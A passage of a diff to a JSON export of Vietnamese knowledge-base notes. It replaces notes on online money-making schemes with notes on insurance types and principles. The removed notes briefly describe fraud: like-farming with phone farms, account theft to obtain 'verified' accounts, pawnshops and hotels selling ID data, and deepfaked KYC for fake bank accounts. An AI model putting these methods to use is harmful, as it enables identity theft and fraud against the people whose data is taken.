trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Airdrop là một kiểu các công ty công nghệ cho tiền khách hàng để tri ân. VD: tạo một tài khoản được tặng $10 ban đầu để khuyến khích dùng thử, giới thiệu người khác dùng được thêm $10 nữa, làm một nhiệm vụ khác được $10 nữa…\r\n\r\nNếu thứ được cho không phải là tiền thì có thể thay bằng điểm. Điểm này có thể quy đổi thành tiền, hoặc nếu không thể quy đổi thành tiền một cách chính thức thì có thể bán lại cho người cần.\r\n\r\nMuốn chạy có lời thì cần nguồn cung proxy giá rẻ, chứ giá hiện tại không thể lời được\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-06-22T08:12:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-09-07T03:21:00.000Z", + "Ngày cập nhật": "2024-09-07T06:23:00.000Z", "id": "2l" }, { - "Tiêu đề": "Content farm dùng để tăng SEO", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Kiếm tiền trực tuyến (MMO)/Content farm dùng để tăng SEO", + "Tiêu đề": "Bảo hiểm nhân thọ hoạt động bằng việc phân tán rủi ro", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Loại hình bảo hiểm/Bảo hiểm nhân thọ hoạt động bằng việc phân tán rủi ro", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "Khái niệm:: \n[[Bồi thường là trả tiền trên hoá đơn thực tế. Khoán là do người mua tự nhận định giá của mạng của mình ngay từ đầu]]\n\nNói bảo hiểm phi nhân thọ hay sức khoẻ cũng hoạt đồng bằng việc phân tán rủi ro cũng không sai, nhưng [[Hợp đồng bảo hiểm phi nhân thọ hoặc sức khoẻ chỉ kéo dài tối đa 1 năm]], nên sự phân tán chỉ trong 1 năm là hết. Sang năm sau thì có quyền từ chối nếu rủi ro cao. \nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-09-06T07:35:00.000Z", + "Ngày cập nhật": "2024-09-11T10:57:00.000Z", "id": "2m" }, { - "Tiêu đề": "Dùng facebook của mình đăng kí hack like thì facebook của bạn sẽ được nhiều người like và ngược lại facebook của bạn cũng sẽ đi like facebook của người khác", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Kiếm tiền trực tuyến (MMO)/Dùng facebook của mình đăng kí hack like thì facebook của bạn sẽ được nhiều người like và ngược lại facebook của bạn cũng sẽ đi like facebook của người khác", + "Tiêu đề": "Các loại hình bảo hiểm nhân thọ", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Loại hình bảo hiểm/Các loại hình bảo hiểm nhân thọ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: [Hỏi về cách like fanpage của những người bán like - randomq - Dạy Nhau Học](https://daynhauhoc.com/t/hoi-ve-cach-like-fanpage-cua-nhung-nguoi-ban-like/68064/3?u=ooker)\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\n| Loại hình | Mô tả | Người quan tâm | Bảo vệ | Tiết kiệm | Đầu tư |\n| --------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------- | ------ | --------- | ------ |\n| Tử kỳ | Nếu chết trong thời hạn nhất định thì trả tiền | Các tổ chức cho vay khác sợ mình chết trước khi trả hết nợ | ✔ | ❌ | ❌ |\n| Sinh kỳ | Sống qua một khoảng thời gian nào đó thì được trả tiền | | ✔ | ❌ | ❌ |\n| Trọn đời | Chết lúc nào cũng được trả | | | | |\n| Niêm kim (trả tiền định kỳ) | Sống qua một khoảng thời gian nào đó thì mỗi năm được nhận tiền | | | | |\n| Hỗn hợp | Kết hợp giữa sinh kỳ và tử kỳ | | | | |\n| Liên kết đầu tư | Hỗn hợp + đầu tư (một số cái còn có cả trọn đời) | | | | |\n| Hưu trí | Trước khi nghỉ hưu thì chỉ được trả tiền khi có bệnh hiểm nghèo, thương tật toàn bộ vĩnh viễn hoặc chết. Nghỉ hưu rồi thì mỗi năm được trả tiền | | | | |\nNguồn:: \n\n## Liên kết đầu tư\n| Các loại phí | |\n| ---------------------------------- | ---------- |\n| Phí ban đầu | Tuỳ |\n| Phí bảo hiểm rủi ro | Hàng tháng |\n| Phí quản lý hợp đồng | Hàng tháng |\n| Phí quản lý quỹ | |\n| Phí chấm dứt hợp đồng trước hạn | |\n| Phí chuyển đổi quỹ liên kết đơn vị | |\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-09-06T08:35:00.000Z", + "Ngày cập nhật": "2024-09-11T10:57:00.000Z", "id": "2n" }, { - "Tiêu đề": "Kiếm tiền trực tuyến (MMO)", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Kiếm tiền trực tuyến (MMO)/Kiếm tiền trực tuyến (MMO)", + "Tiêu đề": "Hợp đồng bảo hiểm phi nhân thọ hoặc sức khoẻ chỉ kéo dài tối đa 1 năm", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Loại hình bảo hiểm/Hợp đồng bảo hiểm phi nhân thọ hoặc sức khoẻ chỉ kéo dài tối đa 1 năm", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\r\nLIST\r\nFROM \"⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Kiếm tiền trực tuyến (MMO)\"\r\nWHERE file.name!=this.file.name\r\n```\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-06-22T08:46:00.000Z", - "Ngày cập nhật": "2024-07-27T14:59:00.000Z", + "Ngày tạo": "2024-09-08T02:04:00.000Z", + "Ngày cập nhật": "2024-09-11T10:57:00.000Z", "id": "2o" }, { - "Tiêu đề": "Phone farm dùng để tăng tương tác", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Kiếm tiền trực tuyến (MMO)/Phone farm dùng để tăng tương tác", + "Tiêu đề": "Khi nộp rồi thì không cho rút hồ sơ", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Loại hình bảo hiểm/Khi nộp rồi thì không cho rút hồ sơ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "https://youtu.be/-CoEHDHb0lE?si=cwWOC-8Pks01AYUW\r\n# Cỗ máy 'kích like' gần một tỷ đồng\r\nQuảng Ninh\r\n\r\nCăn phòng chứa 36 box PhoneFarm điều khiển thông qua máy tính, dùng để gian lận tương tác trên mạng xã hội, được đầu tư gần một tỷ đồng.\r\n\r\n ![PhoneFarm là thiết bị không xa lạ trong cộng đồng chuyên mua bán lượt tương tác trên mạng xã hội như Facebook, YouTube, TikTok. Chúng được xây dựng dựa trên các bo mạch smartphone và gắn chúng vào một mạch chủ. Mỗi box có tầm 20-22 bo mạch smartphone. Trên đây là một góc của căn phòng chứa PhoneFarm của anh Nguyễn Đức Hùng, sinh năm 1999 tại Uông Bí.](https://i1-sohoa.vnecdn.net/2023/11/03/IMG-6870-7248-1699009001.jpg?w=680&h=0&q=100&dpr=1&fit=crop&s=9edKWY6j_A2wZxsf1iO5LQ)\r\n\r\n[PhoneFarm](https://vnexpress.net/so-hoa/chiec-hop-phia-sau-dich-vu-trieu-view-nghin-like-tren-facebook-tiktok-4631332.html) là thiết bị không xa lạ trong cộng đồng chuyên mua bán lượt tương tác trên mạng xã hội như Facebook, YouTube, TikTok. Chúng được xây dựng dựa trên các bo mạch smartphone và gắn vào một mạch chủ. Mỗi box có tầm 20-22 bo mạch smartphone. Trên đây là một góc của căn phòng chứa PhoneFarm của Nguyễn Đức Hùng, sinh năm 1999 tại Uông Bí, dùng để chạy các dịch vụ tương tác trên mạng xã hội.\r\n\r\n ![Một góc khác của căn phòng. Theo chủ nhân của hệ thống PhoneFarm này, anh nhận thức được vấn đề mình đang làm là gian lận trên các nền tảng. Thực tế thì tôi đang làm công việc mà các mạng xã hội đang không cho phép. Tuy nhiên, trước nhu cầu thị trường đang nở rộ và chưa bị pháp luật cấm, tôi xem đây là một hình thức đầu tư kinh doanh. Nếu pháp luật có các quy định về loại thiết bị này, tôi sẵn sàng chấp hành, anh Hùng cho biết.Thực tế, đến nay các dịch vụ like ảo, view ảo nhiều lần bị các nền tảng như Facebook siết chặt vì vi phạm tiêu chuẩn cộng đồng, trong khi YouTube, TikTok cũng cấm sử dụng bot để tăng lượt xem và bình luận. Dù vậy, vấn đề vẫn tồn tại và chưa được xử lý triệt để do các chương trình phần mềm cũng liên tục được cập nhật để qua mặt máy quét. Nội dung được tương tác tự động bằng PhoneFarm có thể được nhận biết nếu nó có lượng tương tác cao bất thường dù không có gì nổi bật, hay một bình luận lặp lại bởi nhiều tài khoản khác nhau. Ngoài ra, khi bấm vào các tài khoản này, không có nội dung nào được chia sẻ trên đó.](https://i1-sohoa.vnecdn.net/2023/11/04/z4845202037701-c3e677baa278521-1724-5746-1699068745.jpg?w=680&h=0&q=100&dpr=1&fit=crop&s=I7kGxbjoMuZFe8iTgDftMA)\r\n\r\nTheo chủ nhân của hệ thống PhoneFarm này, anh nhận thức được việc vận hành cỗ máy là hành vi gian lận trên mạng xã hội. \"Thực tế, tôi đang làm công việc mà các mạng xã hội không cho phép. Tuy nhiên, nhu cầu thị trường đang nở rộ và chưa bị pháp luật cấm\", anh nói.\r\n\r\n ![Tôi xây dựng hệ thống PhoneFarm này từ tháng 10/2022 và mất 8 tháng để hoàn tất. Thay vì thuê dịch vụ hoặc mua sẵn box, chúng tôi tự mua linh kiện về tự lắp đặt. Điều này có thể gây tốn thời gian, nhưng chúng tôi sẽ kiểm soát tốt hơn về chất lượng, cũng như tránh hỏng hóc về sau, anh Hùng nói.](https://i1-sohoa.vnecdn.net/2023/11/04/phone-01-1604-1699055459.jpg?w=680&h=0&q=100&dpr=1&fit=crop&s=lKK12jrX0uB5iaoZZsU1sg)\r\n\r\nNgười này cho biết đã xây dựng hệ thống PhoneFarm từ tháng 10/2022, mất 8 tháng để hoàn thành. Thay vì thuê dịch vụ hoặc mua sẵn box, anh mua linh kiện về tự lắp đặt và tự xây dựng phần mềm để kiểm soát chất lượng và tránh hỏng hóc về sau.\r\n\r\n ![Mỗi box PhoneFarm được trang bị 22 bo mạch của Samsung Galaxy S7, đã được tháo màn hình, pin, camera và cảm biến không cần thiết để tiết kiệm điện năng tiêu thụ khi vận hành. Các bo mạch gắn vào một mạch chủ thông qua dây USB-A to USB-C và một dây dẫn khác để kiểm soát màn hình.](https://i1-sohoa.vnecdn.net/2023/11/04/phone-02-2699-1699055459.jpg?w=680&h=0&q=100&dpr=1&fit=crop&s=fTrmEJmBAA_wIVPKyxg4Vw)\r\n\r\nMỗi box PhoneFarm được trang bị 22 bo mạch của Samsung Galaxy S7, đã được tháo màn hình, pin, camera và cảm biến không cần thiết để tiết kiệm điện năng tiêu thụ khi vận hành. Các bo mạch gắn vào một mạch chủ thông qua dây USB-A to USB-C và một dây dẫn khác để kiểm soát màn hình.\r\n\r\n ![Theo anh Hùng, chi phí cho mỗi box PhoneFarm bình quân là 14 triệu đồng, thấp hơn so với giá trên 25 triệu đồng mua từ bên thứ ba. Tổng giá trị căn phòng chứa PhoneFarm là hơn 500 triệu đồng chưa tính máy chủ, máy tính điều khiển, hệ thống mạng và các vật tư khác.](https://i1-sohoa.vnecdn.net/2023/11/03/IMG-6834-7915-1699009001.jpg?w=680&h=0&q=100&dpr=1&fit=crop&s=AFVg8go0fLexLGl2wIoLvA)\r\n\r\nChi phí mỗi box tự chế trung bình là 14 triệu đồng, thấp hơn giá vài chục triệu đồng nếu mua từ bên thứ ba. Tổng giá trị PhoneFarm là hơn 500 triệu đồng chưa tính máy chủ, máy tính điều khiển, hệ thống mạng và các vật tư khác.\r\n\r\n ![Toàn bộ các box PhoneFarm được kiểm soát thông qua một máy tính chủ với hai màn hình dùng để kiểm soát các thông số khác nhau. Màn hình đầu tiên dùng để xem trạng thái của smartphone đang hoạt động, trong khi màn hình thứ hai dùng để kiểm tra kết nối và khắc phục sự cố nhanh. Trong khi đó, việc tản nhiệt thông qua máy lạnh và quạt bên trong phòng.](https://i1-sohoa.vnecdn.net/2023/11/03/IMG-6802-7981-1699009001.jpg?w=680&h=0&q=100&dpr=1&fit=crop&s=7xBPKAYNIhlM-8Cooz_UaQ)\r\n\r\nToàn bộ được kiểm soát thông qua một máy tính chính với hai màn hình dùng để theo dõi các thông số khác nhau. Màn hình đầu tiên dùng để xem trạng thái của smartphone đang hoạt động, trong khi màn hình thứ hai kiểm tra kết nối và khắc phục sự cố nhanh. Trong khi đó, việc tản nhiệt thông qua máy lạnh và quạt bên trong phòng.\r\n\r\nHệ thống sử dụng phần mềm tự phát triển với chi phí 250 triệu đồng, hoàn thành trong 7 tháng. Cộng với thiết bị và vật tư, chi phí cho toàn bộ căn phòng khoảng một tỷ đồng.\r\n\r\n ![Điểm đặc biệt của hệ thống mà anh Hùng đang vận hành là tự chạy trên phần mềm tự phát triển với chi phí 250 triệu đồng, hoàn thành trong 7 tháng. Tổng cộng các thiết bị và vật tư, toàn bộ căn phòng có giá trị khoảng một tỷ đồng. Ưu điểm của việc tự làm phần mềm là mình sẽ kiểm soát nó tối ưu hơn, lách được các thuật toán mạng xã hội tốt hơn và chạy ổn định hơn các phần mềm mua bên ngoài rất nhiều, anh Hùng chia sẻ. Tôi từng thử các phần mềm bên thứ ba và nhận thấy họ làm ra để với mục đích bán phần mềm, nên thiếu sự đồng bộ và rất hay gặp lỗi. Mỗi lần gặp lỗi, rất lâu họ mới khắc phục. Ngoài ra, nó cũng không có một số tính năng mình cần hoặc khả năng mở rộng tính năng trong tương lai.](https://i1-sohoa.vnecdn.net/2023/11/03/IMG-6819-9462-1699009001.jpg?w=680&h=0&q=100&dpr=1&fit=crop&s=iC8qEVk6SAwXC-jUcFGNwA)\r\n\r\nHệ thống PhoneFarm này đang phục vụ việc tăng lượt xem nội dung, lượt xem phát trực tiếp (livestream) cũng như lượt thích, bình luận và chạy các chiến dịch quảng cáo, seeding (tạo nội dung tranh luận) trên mạng xã hội. Anh cho biết, chi phí vận hành căn phòng này mỗi tháng vào khoảng 25 triệu đồng, chủ yếu là tiền điện và kết nối Internet. \"Mỗi tháng thu nhập từ hệ thống PhoneFarm này khoảng 40-45 triệu đồng\", anh Hùng tiết lộ. \r\n \r\nCác dịch vụ tăng lượt like nhiều lần bị các nền tảng như Facebook siết chặt vì vi phạm tiêu chuẩn cộng đồng, trong khi YouTube, TikTok cũng cấm sử dụng bot để tăng lượt xem và bình luận. Dù vậy, vấn đề vẫn tồn tại và chưa được xử lý triệt để do các chương trình phần mềm cũng liên tục được cập nhật để qua mặt máy quét. Nội dung được \"kích like\" bằng PhoneFarm có thể được nhận biết nếu tài khoản và post không có gì nổi bật nhưng lại được tương tác cao bất thường, hay một bình luận lặp lại bởi nhiều tài khoản khác nhau, khiến nội dung rác tràn lan. Ngoài ra, khi bấm vào các tài khoản này, hầu như không có nội dung nào được chia sẻ trên đó.\r\n\r\n**Bảo Lâm**\r\n\r\nNguồn:: https://vnexpress.net/co-may-kich-like-gan-mot-ty-dong-4672751.html\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n[[Hoá đơn chỉ có một bản gốc]]\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-01T17:59:00.000Z", - "Ngày cập nhật": "2024-08-01T17:19:00.000Z", + "Ngày tạo": "2024-09-11T12:06:00.000Z", + "Ngày cập nhật": "2024-09-11T12:06:00.000Z", "id": "2p" }, { - "Tiêu đề": "Via là tài khoản đã được xác thực", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Kiếm tiền trực tuyến (MMO)/Via là tài khoản đã được xác thực", + "Tiêu đề": "Nếu mua nhiều hợp đồng, nhân thọ sẽ ăn hết, phi nhân thọ sẽ chia tỉ lệ, sức khoẻ sẽ do mình lựa chọn", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Loại hình bảo hiểm/Nếu mua nhiều hợp đồng, nhân thọ sẽ ăn hết, phi nhân thọ sẽ chia tỉ lệ, sức khoẻ sẽ do mình lựa chọn", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Via là viết tắt của *verified information account*. Nó phải có nhiều tương tác, đăng ký thông tin chính chủ. Cách phổ biến để có via là đánh cắp tài khoản của người khác (hack nick), hoặc nuôi tương tác cho các tài khoản ảo\r\n\r\nNguồn:: [VIA Facebook là gì? 4 loại VIA Facebook phổ biến nhất](https://www.sapo.vn/blog/via-facebook-la-gi)\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n[[Sức khoẻ thực ra là phi nhân thọ. Tách ra là để cho người mới không lẫn lộn]]\n[[Khi nộp rồi thì không cho rút hồ sơ]]\n\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-09-11T10:57:00.000Z", + "Ngày cập nhật": "2024-09-11T12:06:00.000Z", "id": "2q" }, { - "Tiêu đề": "Những bên cho vay lãi quá rẻ thực ra là để mình chịu làm kyc để người khác tạo tài khoản ảo bằng tên của mình", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Những bên cho vay lãi quá rẻ thực ra là để mình chịu làm kyc để người khác tạo tài khoản ảo bằng tên của mình", + "Tiêu đề": "Sức khoẻ thực ra là phi nhân thọ. Tách ra là để cho người mới không lẫn lộn", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Loại hình bảo hiểm/Sức khoẻ thực ra là phi nhân thọ. Tách ra là để cho người mới không lẫn lộn", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![[Pasted image 20240627210332.png]]\n![[Pasted image 20240627210342.png]]\n\n[Fetching Title#zasu](https://tuoitre.vn/bon-lua-dao-tao-ra-chi-cong-an-online-nhu-that-20230709114310079.htm)", + "Toàn bộ nội dung": "Khái niệm:: \nNgoài ra sức khoẻ cũng không có nguyên tắc thế quyền \n[[Nguyên tắc hoạt động|Nguyên tắc hoạt động của bảo hiểm]]\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T13:06:00.000Z", + "Ngày tạo": "2024-09-11T11:04:00.000Z", + "Ngày cập nhật": "2024-09-11T15:32:00.000Z", "id": "2r" }, { - "Tiêu đề": "Thông tin bán được sẽ được dùng để tạo tài khoản ngân hàng ảo", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Thông tin bán được sẽ được dùng để tạo tài khoản ngân hàng ảo", + "Tiêu đề": "Luật nền là cơ sở xây dựng luật chuyên ngành.", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Luật nền là cơ sở xây dựng luật chuyên ngành.", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Những bên cho vay lãi quá rẻ thực ra là để mình chịu làm kyc để người khác tạo tài khoản ảo bằng tên của mình]] \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "Khái niệm:: [[Luật]]\nKhi có sự xung đột giữa các nhóm luật thì áp dụng luật chuyên ngành\n\nLuật kinh doanh bảo hiểm không áp dụng với các loại hình do nhà nước quản lý\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T06:53:00.000Z", + "Ngày tạo": "2024-09-06T09:42:00.000Z", + "Ngày cập nhật": "2024-09-06T09:44:00.000Z", "id": "2s" }, { - "Tiêu đề": "Tiệm cầm đồ chỉ quan tâm cái căn cước là chính, chứ chẳng quan tâm mấy tới món đồ mình đem cầm", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Tiệm cầm đồ chỉ quan tâm cái căn cước là chính, chứ chẳng quan tâm mấy tới món đồ mình đem cầm", + "Tiêu đề": "Bồi thường là trả tiền trên hoá đơn thực tế. Khoán là do người mua tự nhận định giá của mạng của mình ngay từ đầu", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Nguyên tắc hoạt động/Bồi thường là trả tiền trên hoá đơn thực tế. Khoán là do người mua tự nhận định giá của mạng của mình ngay từ đầu", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "a sẽ ko vay được gì cao với cái cà vẹt xe cả, dù nó là chính chủ anh đi nữa, vì nó ko care đâu và khi a cầm đồ cavet xe ntn a có hiểu tại sao nó trả 2-3tr ko, vì nó sẽ dùng infor đó để bán infor reg acc\r\n\r\nvì nó thuộc phần dark, ko chỉ cầm đồ mà tụi lễ tân khách sạn cũng vậy, a nghĩ ở đâu mà có infor để reg acc fake\r\nvì a nghĩ nó là assets nên có thể trade theo value, nhưng ko, ở ngoài ko hoạt động như thế\r\nOoker: chứ nó chỉ cần thông tin thôi hả?\r\nKendy: nó là thứ mà tụi móc túi ngày có cả trăm cái\r\na cần thì xét thử chi phí in cái tờ giấy đó bao nhiêu so với 2tr a nhận\r\nchính vì vậy tụi cầm đồ cũng sợ bị scam\r\nnên cùng lắm nó cho a mượn kèm thêm 1 số giấy tờ verify, mà thực chất là ăn cắp infor bán thôi\r\nOoker: Nó giữ cả cái xe mà?\r\nKendy: bởi, nên mới nói cái a cầm với cái a nhận quá chênh lệch nhau\r\nOoker: Vẫn ko hiểu. Ý em là 2tr ít so với giá trị xe hả?\r\nKendy: chứ sao a\r\na bán infor mà ko biết giá đã là lỗ\r\ncầm xe mất chi phí cơ hội\r\ncầm giấy tờ\r\nđã vậy còn lãi sau bao nhiêu ngày\r\n\r\n[[Thông tin bán được sẽ được dùng để tạo tài khoản ngân hàng ảo]] \r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\n## Bồi thường\nDành cho những thứ tính giá được, và được trả tiền dựa trên hoá đơn thực tế\n[[Hình thức hợp đồng|Bảo hiểm trùng]]:\n- Mỗi công ty bồi thường theo tỷ lệ\n- Tổng số tiền bồi thường không vượt quá số tiền thực tế\n\nVD: Một ông mua bảo hiểm xe 500tr với công ty A, 500tr với công ty B. Nếu tai nạn xảy ra tốn 600tr thì mỗi công ty trả 300tr. Nếu tốn 1 tỷ rưỡi thì mỗi công ty trả 500tr.\n\nNếu bồi thường trước rồi mới hỏi công ty thì sẽ không bồi thường nữa. Phải để công ty trả và sẽ chuyển thẳng cho người kia, không chuyển qua cho mình\n## Khoán\nDành cho những thứ không tính giá được, nên để cho bên mua tự định giá. Khi công ty bảo hiểm trả thì đó không phải là để bồi thường thiệt hại, mà là thực hiện một cam kết \"nếu anh bị gì thì tôi sẽ trả bằng đó\". \n\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-09-06T09:36:00.000Z", + "Ngày cập nhật": "2024-09-08T02:19:00.000Z", "id": "2t" }, { - "Tiêu đề": "Tài khoản ngân hàng ảo dùng được vài tiếng là vì kyc bằng AI", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Tài khoản ngân hàng ảo dùng được vài tiếng là vì kyc bằng AI", + "Tiêu đề": "Chỉ có người thân mới được mua bảo hiểm cho nhau để tránh trường hợp trục lợi", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Nguyên tắc hoạt động/Chỉ có người thân mới được mua bảo hiểm cho nhau để tránh trường hợp trục lợi", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Quy trình là khi mình ra tiệm cầm đồ hoặc thuê khách sạn, vì mỗi khách đều phải chụp cccd + giữ cccd nên cửa hàng sẽ có được thông tin người thật. Sau đó dùng deep fake để lấy hình trên infor đó để làm KYC\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNếu là bảo hiểm sức khoẻ thì có thể mua cho:\n- Người được bảo hiểm đồng ý bằng văn bản cho bên mua bảo hiểm mua bảo hiểm sức khỏe cho mình\n- Người có quyền lợi về tài chính với mình\n\nNguồn:: \n[bvl.lotuslms.com/student/contest/21063062/result/66e1b46bbe05e7b8090a0577?question\\_id=642fc423f98fc235662013a8](https://bvl.lotuslms.com/student/contest/21063062/result/66e1b46bbe05e7b8090a0577?question_id=642fc423f98fc235662013a8)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-30T06:54:00.000Z", + "Ngày tạo": "2024-09-06T07:47:00.000Z", + "Ngày cập nhật": "2024-09-11T15:52:00.000Z", "id": "2u" }, { - "Tiêu đề": "Cái cần không phải là có tiền, mà là có dòng tiền", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tạo dòng tiền/Cái cần không phải là có tiền, mà là có dòng tiền", + "Tiêu đề": "Con người, tài sản và trách nhiệm dân sự là những đối tượng bảo hiểm", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Nguyên tắc hoạt động/Con người, tài sản và trách nhiệm dân sự là những đối tượng bảo hiểm", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Dòng tiền là bỏ ít công nhất có thể, thu lại đều đặn nhất có thể]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-09-08T02:07:00.000Z", + "Ngày cập nhật": "2024-09-08T02:14:00.000Z", "id": "2v" }, { - "Tiêu đề": "Dòng tiền là bỏ ít công nhất có thể, thu lại đều đặn nhất có thể", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tạo dòng tiền/Dòng tiền là bỏ ít công nhất có thể, thu lại đều đặn nhất có thể", + "Tiêu đề": "Nguyên tắc hoạt động", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Bảo hiểm/Nguyên tắc hoạt động", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Thu nhập thụ động là biết chắc chắn ngày nào mình nhận tiền với bao nhiêu tiền. Dòng tiền là không đảm bảo ngày nào tiền đi, ngày nào tiền về và bao nhiêu tiền]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: [[Bảo hiểm]]\n- [[Để một rủi ro được bảo hiểm, nó cần ngẫu nhiên, định lượng bằng tiền được và có số lớn]]\n- [[Bồi thường là trả tiền trên hoá đơn thực tế. Khoán là do người mua tự nhận định giá của mạng của mình ngay từ đầu]]\n- [[Bảo hiểm nhân thọ hoạt động bằng việc phân tán rủi ro|Số đông: Số đông bù cho số ít]]\n- Thế quyền: chuyển giao quyền đòi bồi thường cho công 